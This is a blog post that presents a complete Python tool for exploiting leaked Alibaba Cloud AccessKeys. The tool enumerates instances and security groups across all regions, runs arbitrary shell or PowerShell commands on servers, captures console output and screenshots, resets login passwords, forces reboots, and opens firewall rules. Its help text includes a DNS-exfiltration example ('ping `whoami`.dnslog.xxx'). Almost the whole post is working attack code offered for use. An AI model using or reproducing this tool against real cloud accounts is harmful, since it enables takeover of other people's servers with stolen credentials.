阿里云Accesskey利用工具

2020-11-11 小屿 Python

看了某某提供的利用脚本功能有BUG。查询阿里云文档后重写的利用工具。

实现了扫描实例机器、安全组网络配置;执行系统命令、获取系统console、屏幕截图、修改系统密码、重启系统、修改安全组网络配置等功能。

阿里云文档中的vnc相关功能利用失败。


import argparse
import base64
import io
import json
import threading
import uuid

from PIL import Image
from aliyunsdkecs.request.v20140526.AuthorizeSecurityGroupEgressRequest import AuthorizeSecurityGroupEgressRequest
from aliyunsdkecs.request.v20140526.AuthorizeSecurityGroupRequest import AuthorizeSecurityGroupRequest
from aliyunsdkecs.request.v20140526.DescribeInstanceVncUrlRequest import DescribeInstanceVncUrlRequest
from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
from aliyunsdkecs.request.v20140526.DescribeRegionsRequest import DescribeRegionsRequest
from aliyunsdkecs.request.v20140526.DescribeSecurityGroupAttributeRequest import DescribeSecurityGroupAttributeRequest
from aliyunsdkecs.request.v20140526.DescribeSecurityGroupsRequest import DescribeSecurityGroupsRequest
from aliyunsdkecs.request.v20140526.GetInstanceConsoleOutputRequest import GetInstanceConsoleOutputRequest
from aliyunsdkecs.request.v20140526.GetInstanceScreenshotRequest import GetInstanceScreenshotRequest
from aliyunsdkecs.request.v20140526.ModifyInstanceAttributeRequest import ModifyInstanceAttributeRequest
from aliyunsdkecs.request.v20140526.ModifyInstanceVncPasswdRequest import ModifyInstanceVncPasswdRequest
from aliyunsdkecs.request.v20140526.RebootInstanceRequest import RebootInstanceRequest
from aliyunsdkecs.request.v20140526.RevokeSecurityGroupEgressRequest import RevokeSecurityGroupEgressRequest
from aliyunsdkecs.request.v20140526.RevokeSecurityGroupRequest import RevokeSecurityGroupRequest
from aliyunsdkecs.request.v20140526.RunCommandRequest import RunCommandRequest
from prettytable import PrettyTable
from aliyunsdkcore.client import AcsClient


def describe_regions_request():
    request = DescribeRegionsRequest()
    request.set_accept_format('json')
    response = client.do_action_with_exception(request)
    return json.loads(response)


def describe_instances_request(region_id='cn-hangzhou', page_size=100, page_num=1):
    client.set_region_id(region_id)
    request = DescribeInstancesRequest()
    request.set_accept_format('json')
    request.set_PageSize(page_size)
    request.set_PageNumber(page_num)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def describe_security_groups_request(region_id='cn-hangzhou'):
    client.set_region_id(region_id)
    request = DescribeSecurityGroupsRequest()
    request.set_accept_format('json')
    request.set_PageSize(100)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def describe_security_group_attribute_request(region_id, group_id):
    client.set_region_id(region_id)
    request = DescribeSecurityGroupAttributeRequest()
    request.set_accept_format('json')
    request.set_SecurityGroupId(group_id)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def authorize_security_group_request(region_id, group_id, ip_protocol, port_range, source_cidr_ip):
    client.set_region_id(region_id)
    request = AuthorizeSecurityGroupRequest()
    request.set_accept_format('json')
    request.set_SecurityGroupId(group_id)
    request.set_IpProtocol(ip_protocol)
    request.set_PortRange(port_range)
    request.set_SourceCidrIp(source_cidr_ip)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def authorize_security_group_egress_request(region_id, group_id, ip_protocol, port_range, dest_cidr_ip):
    client.set_region_id(region_id)
    request = AuthorizeSecurityGroupEgressRequest()
    request.set_accept_format('json')
    request.set_SecurityGroupId(group_id)
    request.set_IpProtocol(ip_protocol)
    request.set_PortRange(port_range)
    request.set_DestCidrIp(dest_cidr_ip)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def revoke_security_group_request(region_id, group_id, ip_protocol, port_range, source_cidr_ip):
    client.set_region_id(region_id)
    request = RevokeSecurityGroupRequest()
    request.set_accept_format('json')
    request.set_SecurityGroupId(group_id)
    request.set_IpProtocol(ip_protocol)
    request.set_PortRange(port_range)
    request.set_SourceCidrIp(source_cidr_ip)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def revoke_security_group_egress_request(region_id, group_id, ip_protocol, port_range, dest_cidr_ip):
    client.set_region_id(region_id)
    request = RevokeSecurityGroupEgressRequest()
    request.set_accept_format('json')
    request.set_SecurityGroupId(group_id)
    request.set_IpProtocol(ip_protocol)
    request.set_PortRange(port_range)
    request.set_DestCidrIp(dest_cidr_ip)
    response = client.do_action_with_exception(request)
    return json.loads(response)


# def describe_instance_vnc_url_request(region_id, instance_id):
#     client.set_region_id(region_id)
#     request = DescribeInstanceVncUrlRequest()
#     request.set_accept_format('json')
#     request.set_InstanceId(instance_id)
#     response = client.do_action_with_exception(request)
#     return json.loads(response)
#
#
# def modify_instance_vnc_passwd_request(region_id, instance_id, password):
#     client.set_region_id(region_id)
#     request = ModifyInstanceVncPasswdRequest()
#     request.set_accept_format('json')
#     request.set_InstanceId(instance_id)
#     request.set_VncPassword(password)
#     response = client.do_action_with_exception(request)
#     return json.loads(response)


def modify_instance_attribute_request(instance_id, password):
    request = ModifyInstanceAttributeRequest()
    request.set_accept_format('json')
    request.set_InstanceId(instance_id)
    request.set_Password(password)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def reboot_instance_request(instance_id, force):
    request = RebootInstanceRequest()
    request.set_accept_format('json')
    request.set_InstanceId(instance_id)
    request.set_ForceStop(force)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def run_command_request(region_id, instance_id, types, command, timed, frequency):
    client.set_region_id(region_id)
    request = RunCommandRequest()
    request.set_accept_format('json')
    request.set_Type(types)
    request.set_CommandContent(command)
    request.set_InstanceIds([instance_id])
    if timed and frequency:
        request.set_Timed(timed)
        request.set_Frequency(frequency)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def get_instance_console_output_request(region_id, instance_id):
    client.set_region_id(region_id)
    request = GetInstanceConsoleOutputRequest()
    request.set_accept_format('json')
    request.set_InstanceId(instance_id)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def get_instance_screenshot_request(region_id, instance_id, wakeup):
    client.set_region_id(region_id)
    request = GetInstanceScreenshotRequest()
    request.set_accept_format('json')
    request.set_InstanceId(instance_id)
    request.set_WakeUp(wakeup)
    response = client.do_action_with_exception(request)
    return json.loads(response)


def scan_instances(thread_num):
    def get_instances(rid):
        try:
            result = PrettyTable()
            result.title = f"{rid['RegionId']} <-> {rid['RegionEndpoint']} <-> {rid['LocalName']}"
            result.field_names = ['主机名', '系统名', '系统类型', '状态', '实例ID', '安全组ID', '公网IP', '内网IP', '有效期']

            instance_data = describe_instances_request(region_id=rid['RegionId'])

            count = int(instance_data['TotalCount'])
            print(f"{rid['RegionId']} {rid['LocalName']}: {count}")
            if count > 0:
                for i in instance_data['Instances']['Instance']:
                    host_name = i['HostName']
                    os_name = i['OSName']
                    os_type = i['OSType']
                    status = i['Status']
                    instance_id = i['InstanceId']
                    security_group_id = i['SecurityGroupIds']['SecurityGroupId']
                    public_ip = i['PublicIpAddress']['IpAddress']
                    internal_ip = i['VpcAttributes']['PrivateIpAddress']['IpAddress']
                    expired_time = i['CreationTime'] + ' - ' + i['ExpiredTime']
                    result.add_row(
                        [host_name, os_name, os_type, status, instance_id, security_group_id, public_ip, internal_ip,
                         expired_time])

                if count > int(instance_data['PageSize']):
                    page = 1
                    while True:
                        page += 1
                        instance_data = describe_instances_request(region_id=rid['RegionId'], page_num=page)
                        if len(instance_data['Instances']['Instance']) == 0:
                            break
                        for i in instance_data['Instances']['Instance']:
                            host_name = i['HostName']
                            os_name = i['OSName']
                            os_type = i['OSType']
                            status = i['Status']
                            instance_id = i['InstanceId']
                            security_group_id = i['SecurityGroupIds']['SecurityGroupId']
                            public_ip = i['PublicIpAddress']['IpAddress']
                            internal_ip = i['VpcAttributes']['PrivateIpAddress']['IpAddress']
                            expired_time = i['CreationTime'] + ' - ' + i['ExpiredTime']
                            result.add_row(
                                [host_name, os_name, os_type, status, instance_id, security_group_id, public_ip,
                                 internal_ip,
                                 expired_time])
                print(result)
        except Exception as err:
            print(err)
        finally:
            td.release()

    region_data = describe_regions_request()
    regions = region_data['Regions']['Region']
    print(f"查询到 {len(regions)} 个地区可用")

    td = threading.BoundedSemaphore(int(thread_num))
    thread_list = []
    for rid in regions:
        td.acquire()
        t = threading.Thread(target=get_instances, args=(rid,))
        t.start()
        thread_list.append(t)
    for x in thread_list:
        x.join()


def scan_security_groups(thread_num):
    def get_security_groups(rid):
        try:
            result = PrettyTable()
            result.title = f"{rid['RegionId']} <-> {rid['RegionEndpoint']} <-> {rid['LocalName']}"
            result.field_names = ['安全组名称', '描述', '组ID', 'VPC ID', '类型', 'Tag', '创建时间']

            security_group_data = describe_security_groups_request(rid['RegionId'])

            count = int(security_group_data['TotalCount'])
            print(f"{rid['RegionId']} {rid['LocalName']}: {count}")
            if count > 0:
                for i in security_group_data['SecurityGroups']['SecurityGroup']:
                    desc = i['Description']
                    name = i['SecurityGroupName']
                    vpc_id = i['VpcId']
                    group_id = i['SecurityGroupId']
                    create_time = i['CreationTime']
                    types = i['SecurityGroupType']
                    tag = i['Tags']['Tag']
                    result.add_row([name, desc, group_id, vpc_id, types, tag, create_time])
                print(result)
        except Exception as err:
            print(err)
        finally:
            td.release()

    region_data = describe_regions_request()
    regions = region_data['Regions']['Region']
    print(f"查询到 {len(regions)} 个地区可用")

    td = threading.BoundedSemaphore(int(thread_num))
    thread_list = []
    for rid in regions:
        td.acquire()
        t = threading.Thread(target=get_security_groups, args=(rid,))
        t.start()
        thread_list.append(t)
    for x in thread_list:
        x.join()


def get_security_group_rule(region, group_id):
    security_group_attribute_data = describe_security_group_attribute_request(region, group_id)

    inner_access_policy = security_group_attribute_data['InnerAccessPolicy']
    if inner_access_policy == 'Accept':
        access_policy = '内网互通'
    elif inner_access_policy == 'Accept':
        access_policy = '内网隔离'
    else:
        access_policy = inner_access_policy

    result = PrettyTable()
    result.title = f"{region} <-> {group_id} <-> {access_policy}"
    result.field_names = ['描述', 'IP协议', '策略', '端口范围', '源IP地址段(入方向)', '目标IP地址段(出方向)', '网卡类型', '规则优先级', '创建时间']
    for i in security_group_attribute_data['Permissions']['Permission']:
        policy = i['Policy']
        desc = i['Description']
        priority = i['Priority']
        create_time = i['CreateTime']
        nictype = i['NicType']
        port_range = i['PortRange']
        source_cidr_ip = i['SourceCidrIp']
        ip_protocol = i['IpProtocol']
        dest_cidr_ip = i['DestCidrIp']
        result.add_row(
            [desc, ip_protocol, policy, port_range, source_cidr_ip, dest_cidr_ip, nictype, priority, create_time])
    print(result)


def get_console_output(region, instance_id):
    instance_console_output_data = get_instance_console_output_request(region, instance_id)
    console_output = instance_console_output_data['ConsoleOutput']
    output = base64.b64decode(console_output).decode('utf-8')
    last_update_time = instance_console_output_data['LastUpdateTime']
    print(f"更新时间: {last_update_time}\n{output}")


def get_screenshot(region, instance_id, wakeup=False):
    screenshot_data = get_instance_screenshot_request(region, instance_id, wakeup)
    screenshot = base64.b64decode(screenshot_data['Screenshot'])

    image = io.BytesIO(screenshot)
    img = Image.open(image)
    img.show()

    jpg_name = uuid.uuid4().hex + '.jpg'
    img.save(jpg_name)

    result = PrettyTable()
    result.field_names = ['文件名']
    result.add_row([jpg_name])
    print(result)


def run_command(region, instance_id, types, command, timed=None, frequency=None):
    commands_data = run_command_request(region, instance_id, types, command, timed, frequency)
    print(commands_data)


if __name__ == "__main__":
    print('''
     _    _ _                     _____            _       _ _
    / \  | (_)_   _ _   _ _ __   | ____|_  ___ __ | | ___ (_) |_
   / _ \ | | | | | | | | | '_ \  |  _| \ \/ / '_ \| |/ _ \| | __|
  / ___ \| | | |_| | |_| | | | | | |___ >  <| |_) | | (_) | | |_
 /_/   \_\_|_|\__, |\__,_|_| |_| |_____/_/\_\ .__/|_|\___/|_|\__|
              |___/                         |_|
''')
    parser = argparse.ArgumentParser()
    parser.add_argument("--threads", help="扫描线程数, 默认为8", default="8")

    base_key = parser.add_argument_group('Accesskey', '必须提供ACCESSKEYID和ACCESSKEYSECRET')
    base_key.add_argument('-ak', '--accesskeyid', required=True, help='Aliyun AccessKeyId, eg: LTAIxxxxxx')
    base_key.add_argument('-sk', '--accesskeysecret', required=True, help='Aliyun AccessKeySecret, eg: xxxxxx')

    ecs = parser.add_argument_group('ECS', '选择一种利用方式,扫描所有或利用指定实例安全组')
    ecs.add_argument('-s', '--scan', dest='scan_type', help='扫描所有地区主机或安全组, 0: 主机, 1:安全组')
    ecs.add_argument('-i', '--instance_id', help='实例ID, eg: i-xxxxxxx')
    ecs.add_argument('-g', '--group_id', help='安全组ID, eg: sg-xxxxxxx')

    region = parser.add_argument_group('Region', '利用指定实例安全组需要设置地区参数')
    region.add_argument('-r', '--region', help='地区, eg: cn-hangzhou')

    instance = parser.add_argument_group('Instance', '实例利用相关,执行系统命令、获取系统console、屏幕截图')
    instance.add_argument('-t', '--type', dest='cmd_type',
                          help='Linux(RunShellScript: 0) Windows(RunBatScript: 1, RunPowerShellScript: 2)',
                          default="0")
    instance.add_argument('-c', '--command', help='执行系统命令, eg: ping `whoami`.dnslog.xxx')
    instance.add_argument('--console', action='store_true', help='实例最近一次启动、重启或者关机时的系统命令行输出')
    instance.add_argument('--screen', help='0: 屏幕截图, 1: 唤醒处于休眠状态的实例并截图')
    instance.add_argument('--password', help='(无需region参数) 修改实例登陆密码,在ECS控制台重启后生效,操作系统内重启不生效')
    instance.add_argument('--reboot', help='(无需region参数) 重启实例使修改的密码生效, eg: 0: 正常关机, 1: 断电关机')

    security_group = parser.add_argument_group('Security Group', '安全组利用相关,查询、增加、删除网络出入规则')
    security_group.add_argument('-d', '--dump', action='store_true', help='查询安全组配置内容')
    security_group.add_argument('--add', dest='rule_add', action='store_true', help='增加出入规则')
    security_group.add_argument('--del', dest='rule_del', action='store_true', help='删除出入规则')
    security_group.add_argument('--in', dest='net_in', action='store_true', help='入方向规则, 允许其他设备发送入方向流量到安全组内实例')
    security_group.add_argument('--out', dest='net_out', action='store_true', help='出方向规则, 允许安全组内实例发送出方向流量到其他设备')
    security_group.add_argument('-p', '--protocol', help='传输层协议, 0: tcp, 1: udp, 2: icmp, 3: gre, 4: all')
    security_group.add_argument('--port', help='端口范围, 起始端口/终止端口, eg: -1/-1 8080/8081')
    security_group.add_argument('--ip', help='IPv4 CIDR地址段, eg: 0.0.0.0/0')

    args = parser.parse_args()
    threads = args.threads

    accesskeyid = args.accesskeyid
    accesskeysecret = args.accesskeysecret

    scan_type = args.scan_type

    groupid = args.group_id
    instanceid = args.instance_id

    region = args.region

    cmd_type = args.cmd_type
    command = args.command
    console = args.console
    screen = args.screen
    password = args.password
    reboot = args.reboot

    dump = args.dump
    net_in = args.net_in
    net_out = args.net_out
    rule_add = args.rule_add
    rule_del = args.rule_del
    protocol = args.protocol
    port = args.port
    ip = args.ip

    if not accesskeyid or not accesskeysecret:
        parser.print_help()
        exit(1)
    client = AcsClient(accesskeyid, accesskeysecret)

    if scan_type or groupid or instanceid:
        if scan_type:
            if scan_type == '0':
                scan_instances(threads)
            elif scan_type == '1':
                scan_security_groups(threads)
            else:
                parser.print_help()
                print('ERROR: scan参数错误!')
            exit(1)

        if instanceid:
            if password:
                print(modify_instance_attribute_request(instanceid, password))
                exit(1)
            elif reboot:
                if reboot == '0':
                    reboot_instance_request(instanceid, False)
                elif reboot == '1':
                    reboot_instance_request(instanceid, True)
                else:
                    print('ERROR: reboot参数错误!')
            else:
                if not region:
                    parser.print_help()
                    print('ERROR: 缺少region参数!')
                    exit(1)

                if command:
                    if cmd_type == '0':
                        cmd_type = 'RunShellScript'
                    elif cmd_type == '1':
                        cmd_type = 'RunBatScript'
                    elif cmd_type == '2':
                        cmd_type = 'RunPowerShellScript'
                    else:
                        parser.print_help()
                        print('ERROR: type参数错误!')
                        exit(1)
                    run_command(region, instanceid, cmd_type, command)
                elif console:
                    print(region, instanceid)
                    get_console_output(region, instanceid)
                    exit(1)
                elif screen:
                    if screen == '0':
                        wakeup = False
                    elif screen == '1':
                        wakeup = True
                    else:
                        parser.print_help()
                        print('ERROR: screen参数错误!')
                        exit(1)
                    get_screenshot(region, instanceid, wakeup)
                    exit(1)
                else:
                    parser.print_help()
                    print('ERROR: 缺少对实例的操作!')
                    exit(1)

        if not region:
            parser.print_help()
            print('ERROR: 缺少region参数!')
            exit(1)

        if groupid:
            if dump:
                get_security_group_rule(region, groupid)
                exit(1)
            else:
                if protocol:
                    if protocol == '0':
                        protocol = 'tcp'
                    elif protocol == '1':
                        protocol = 'udp'
                    elif protocol == '2':
                        protocol = 'icmp'
                    elif protocol == '3':
                        protocol = 'gre'
                    elif protocol == '4':
                        protocol = 'all'
                    else:
                        parser.print_help()
                        print('ERROR: protocol参数错误!')
                        exit(1)

                if rule_add or rule_del:
                    if protocol and port and ip:
                        if rule_add:
                            if net_in:
                                authorize_security_group_request(region, groupid, protocol, port, ip)
                                get_security_group_rule(region, groupid)
                                exit(1)
                            elif net_out:
                                authorize_security_group_egress_request(region, groupid, protocol, port, ip)
                                get_security_group_rule(region, groupid)
                                exit(1)
                        elif rule_del:
                            if net_in:
                                revoke_security_group_request(region, groupid, protocol, port, ip)
                                get_security_group_rule(region, groupid)
                                exit(1)
                            elif net_out:
                                revoke_security_group_egress_request(region, groupid, protocol, port, ip)
                                get_security_group_rule(region, groupid)
                                exit(1)
                    else:
                        parser.print_help()
                        print('ERROR: 缺少安全组配置设置参数!')
                        exit(1)
    else:
        parser.print_help()
        print('ERROR: 没有指定扫描或对实例、安全组的操作!')
        exit(1)
    print('ERROR: 没有执行任何操作!')

发表评论:

Powered by xia0yu